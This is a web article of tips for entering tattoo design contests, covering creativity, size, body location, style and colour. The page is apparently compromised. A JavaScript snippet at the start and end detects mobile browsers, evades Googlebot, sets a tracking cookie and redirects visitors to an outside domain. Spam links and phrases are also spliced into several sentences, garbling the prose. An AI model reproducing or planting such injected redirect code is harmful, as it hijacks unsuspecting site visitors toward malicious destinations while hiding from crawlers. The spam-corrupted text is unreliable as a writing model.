)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Top Five Tips For Improving Tattoo Design Contests

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Top Five Tips for Improving Tattoo Design Contests

With more and more tattoo enthusiasts preferring to wear custom tattoo designs, the popularity of the online contests means that they now have a huge following. Websites that provide this kind of platform are top of the rankings on search engines. More and more artists, from newbies to experienced designers, are up for the challenge of creating unique custom tattoo designs. Below are the criteria to consider in improving your design in order to come up with a winning piece.
Creativity: If you are a true artist you do not need to copy someone else’s work. Providing an original piece of work could really get the attention of the host of the contest. An original piece shows the individuality of the designer, so be creative and innovative with your design.
Size: In a custom design tattoo contest, the host usually provides the size of the design itself. You must come up with a flexible design that can be enlarged or compressed in size. Sizes vary from large (more than six inches but less than 10), medium (from three to six inches) and small (within a three by three inch area). It is also better that you know the size of the part of the body where the tattoo will be inked. In this way, you will know how big your drawing should be to suit the host’s needs.
Location: Not all tattoos can be inked just anywhere. There are tattoo designs that are based on location. Find out which part of the body the tattoo will be placed to come up with a specific style design. Categories of body parts are classified as: the back, which could be the entire back, only the upper back shoulder, or lower back; the leg, with designs that are meant to cover the entire leg or just a portion of the leg; the arm, and tattoo designs can cover part or all of it, a partial portion or just a small part of the upper arm; the shoulder, and a shoulder design usually covers the whole shoulder; the whole of the neck or just a choker type necklace tattoo; http://www.moviestarplanethackcheatz.com/ the stomach and head, but usually only just a part; and of course there is an overall body tattoo. All of these should be taken into consideration for the kind of design you are going to make.
Design and Style: With so many designs and styles that fall into different themes and categories, you should know the type of design your client wants you to draw. An environmental style is different from a military or tribal tattoo design. As an artist you should have knowledge of the technical details of each style and theme. Although some artists have their own specialty, it is sometimes better to be versatile.
Color: A good artist knows about color. Some tattoo designs have a single color; others require multiple color varieties. Although the this website contest is freestyle in form, meaning you have control over the color mixes or type of color from vibrant to monochromatic ones, you should take into consideration the skin color and skin texture of your client. Suggest something that would look good on your client’s skin, not just create what he or she thinks is best. Your image may not look check more good in the long run if it is inked on an incompatible skin color as this may have disastrous effects.
Custom tattoo designs benefit both the artist and the host. Just make sure that if you are the host, you provide the appropriate details required for your tattoo design. Give feedback click this site and recommendations to the artist; more often than not, these designers are open to make modifications to their design to fit a client’s needs. If you are a tattoo designer, just follow these guidelines to come up with a unique design which may gain you global recognition, and of course, bring you a lot of income.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}